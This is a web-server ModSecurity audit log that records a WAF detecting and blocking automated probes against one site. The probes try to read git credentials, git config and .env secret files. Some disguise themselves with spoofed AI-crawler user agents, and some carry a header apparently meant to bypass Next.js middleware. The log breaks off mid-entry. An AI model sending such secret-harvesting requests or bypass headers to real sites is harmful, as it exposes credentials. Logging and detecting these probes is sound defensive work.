Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git/config"] [unique_id "aqZcCGM7dE9KgIIOpQhxUgAAAMM"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.git/config"] [unique_id "aqZcCGM7dE9KgIIOpQhxUgAAAMM"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git/config"] [unique_id "aqZcCGM7dE9KgIIOpQhxUgAAAMM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287432342991 952348 (- - -)
Stopwatch2: 1789287432342991 952348; combined=132601, p1=222, p2=132296, p3=0, p4=0, p5=82, sr=101, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--6a95fe5c-Z--
--26186138-A--
[13/Sep/2026:11:17:13.304947 +0300] aqZcCGM7dE9KgIIOpQhxXwAAAMk 172.86.81.63 52690 127.0.0.1 7081
--26186138-B--
GET /.git/credentials-helper HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip
--26186138-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--26186138-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/credentials-helper||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/credentials-helper||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git/credentials-helper"] [unique_id "aqZcCGM7dE9KgIIOpQhxXwAAAMk"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287432548678 756333 (- - -)
Stopwatch2: 1789287432548678 756333; combined=6569, p1=193, p2=6322, p3=0, p4=0, p5=54, sr=76, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--26186138-Z--
--c8c9e524-A--
[13/Sep/2026:11:17:13.306685 +0300] aqZcCGM7dE9KgIIOpQhxXQAAANA 172.86.81.63 52668 127.0.0.1 7081
--c8c9e524-B--
GET /.git-credentials HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip
--c8c9e524-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--c8c9e524-H--
Message: Warning. Matched phrase "/.git-credentials" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git-credentials||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git-credentials" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git-credentials||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git-credentials" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git-credentials||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git-credentials"] [unique_id "aqZcCGM7dE9KgIIOpQhxXQAAANA"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git-credentials" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git-credentials||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.git-credentials"] [unique_id "aqZcCGM7dE9KgIIOpQhxXQAAANA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287432546137 760593 (- - -)
Stopwatch2: 1789287432546137 760593; combined=36098, p1=224, p2=35834, p3=0, p4=0, p5=40, sr=112, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--c8c9e524-Z--
--ca65dd24-A--
[13/Sep/2026:11:17:13.362050 +0300] aqZcCGM7dE9KgIIOpQhxXgAAAMY 172.86.81.63 52702 127.0.0.1 7081
--ca65dd24-B--
GET /.git/refs/remotes/origin/master HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip
--ca65dd24-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--ca65dd24-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/refs/remotes/origin/master||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/refs/remotes/origin/master||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git/refs/remotes/origin/master"] [unique_id "aqZcCGM7dE9KgIIOpQhxXgAAAMY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287432547308 814803 (- - -)
Stopwatch2: 1789287432547308 814803; combined=4715, p1=196, p2=4460, p3=0, p4=0, p5=58, sr=87, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--ca65dd24-Z--
--33bc634e-A--
[13/Sep/2026:11:17:13.368663 +0300] aqZcCGM7dE9KgIIOpQhxXAAAAMA 172.86.81.63 52680 127.0.0.1 7081
--33bc634e-B--
GET /.git/config~ HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip
--33bc634e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--33bc634e-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config~||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config~||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Pattern match "(\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:config~||"] [severity "NOTICE"] [tag "service_i360custom"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config~||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config~||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git/config~"] [unique_id "aqZcCGM7dE9KgIIOpQhxXAAAAMA"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config~||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.git/config~"] [unique_id "aqZcCGM7dE9KgIIOpQhxXAAAAMA"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:config~||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git/config~"] [unique_id "aqZcCGM7dE9KgIIOpQhxXAAAAMA"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config~||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git/config~"] [unique_id "aqZcCGM7dE9KgIIOpQhxXAAAAMA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287432544771 823940 (- - -)
Stopwatch2: 1789287432544771 823940; combined=37438, p1=225, p2=37142, p3=0, p4=0, p5=70, sr=86, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--33bc634e-Z--
--dae96c26-A--
[13/Sep/2026:11:22:11.335687 +0300] aqZdM0wu1RSkptiiNIX2twAAAII 34.80.249.255 52932 127.0.0.1 7081
--dae96c26-B--
POST /graphql HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 86
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Content-Type: application/json
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
Origin: https://alexandervodka.com
Referer: https://alexandervodka.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
sec-ch-ua: "Chromium";v="152", "Not?A_Brand";v="24", "Brave";v="152"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
--dae96c26-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--dae96c26-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287731256356 79427 (- - -)
Stopwatch2: 1789287731256356 79427; combined=10799, p1=382, p2=9901, p3=0, p4=0, p5=515, sr=141, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--dae96c26-Z--
--f3fa6f2a-A--
[13/Sep/2026:11:22:11.649785 +0300] aqZdMysVWymXUono-eRUTgAAAAY 34.80.249.255 52992 127.0.0.1 7081
--f3fa6f2a-B--
POST /api/graphql HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 86
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Content-Type: application/json
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
Origin: https://alexandervodka.com
Referer: https://alexandervodka.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
sec-ch-ua: "Chromium";v="152", "Not?A_Brand";v="24", "Brave";v="152"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
--f3fa6f2a-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--f3fa6f2a-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287731573510 76354 (- - -)
Stopwatch2: 1789287731573510 76354; combined=7548, p1=1110, p2=6124, p3=0, p4=0, p5=314, sr=129, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f3fa6f2a-Z--
--2d9ea711-A--
[13/Sep/2026:11:22:12.014206 +0300] aqZdM2M7dE9KgIIOpQhxhgAAANg 34.80.249.255 53040 127.0.0.1 7081
--2d9ea711-B--
POST /v1/graphql HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 86
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Content-Type: application/json
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
Origin: https://alexandervodka.com
Referer: https://alexandervodka.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
sec-ch-ua: "Chromium";v="152", "Not?A_Brand";v="24", "Brave";v="152"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
--2d9ea711-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--2d9ea711-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287731900023 114261 (- - -)
Stopwatch2: 1789287731900023 114261; combined=5378, p1=252, p2=4846, p3=0, p4=0, p5=280, sr=83, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--2d9ea711-Z--
--a423e04a-A--
[13/Sep/2026:11:22:12.179054 +0300] aqZdNGM7dE9KgIIOpQhxiQAAANE 34.80.249.255 53072 127.0.0.1 7081
--a423e04a-B--
GET /.env?raw HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--a423e04a-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--a423e04a-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.env"] [unique_id "aqZdNGM7dE9KgIIOpQhxiQAAANE"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287732071722 107389 (- - -)
Stopwatch2: 1789287732071722 107389; combined=4065, p1=234, p2=3766, p3=0, p4=0, p5=64, sr=96, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--a423e04a-Z--
--2bc71b12-A--
[13/Sep/2026:11:22:12.321085 +0300] aqZdNGM7dE9KgIIOpQhxjAAAANM 34.80.249.255 53098 127.0.0.1 7081
--2bc71b12-B--
GET /.env?import&url&inline HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--2bc71b12-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--2bc71b12-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&url&inline"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&url&inline"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.env"] [unique_id "aqZdNGM7dE9KgIIOpQhxjAAAANM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287732201165 119981 (- - -)
Stopwatch2: 1789287732201165 119981; combined=4087, p1=401, p2=3622, p3=0, p4=0, p5=64, sr=134, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--2bc71b12-Z--
--ea002e3e-A--
[13/Sep/2026:11:22:12.323243 +0300] aqZdNGM7dE9KgIIOpQhxiwAAAM4 34.80.249.255 53094 127.0.0.1 7081
--ea002e3e-B--
GET /.env?import&raw HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--ea002e3e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--ea002e3e-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.env"] [unique_id "aqZdNGM7dE9KgIIOpQhxiwAAAM4"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287732180402 142898 (- - -)
Stopwatch2: 1789287732180402 142898; combined=3704, p1=254, p2=3391, p3=0, p4=0, p5=59, sr=83, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--ea002e3e-Z--
--b0336a1e-A--
[13/Sep/2026:11:22:12.376337 +0300] aqZdNGM7dE9KgIIOpQhxjQAAAMo 34.80.249.255 53100 127.0.0.1 7081
--b0336a1e-B--
GET /.env.local?raw HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexitybot)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--b0336a1e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--b0336a1e-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.env.local"] [unique_id "aqZdNGM7dE9KgIIOpQhxjQAAAMo"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.env.local"] [unique_id "aqZdNGM7dE9KgIIOpQhxjQAAAMo"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
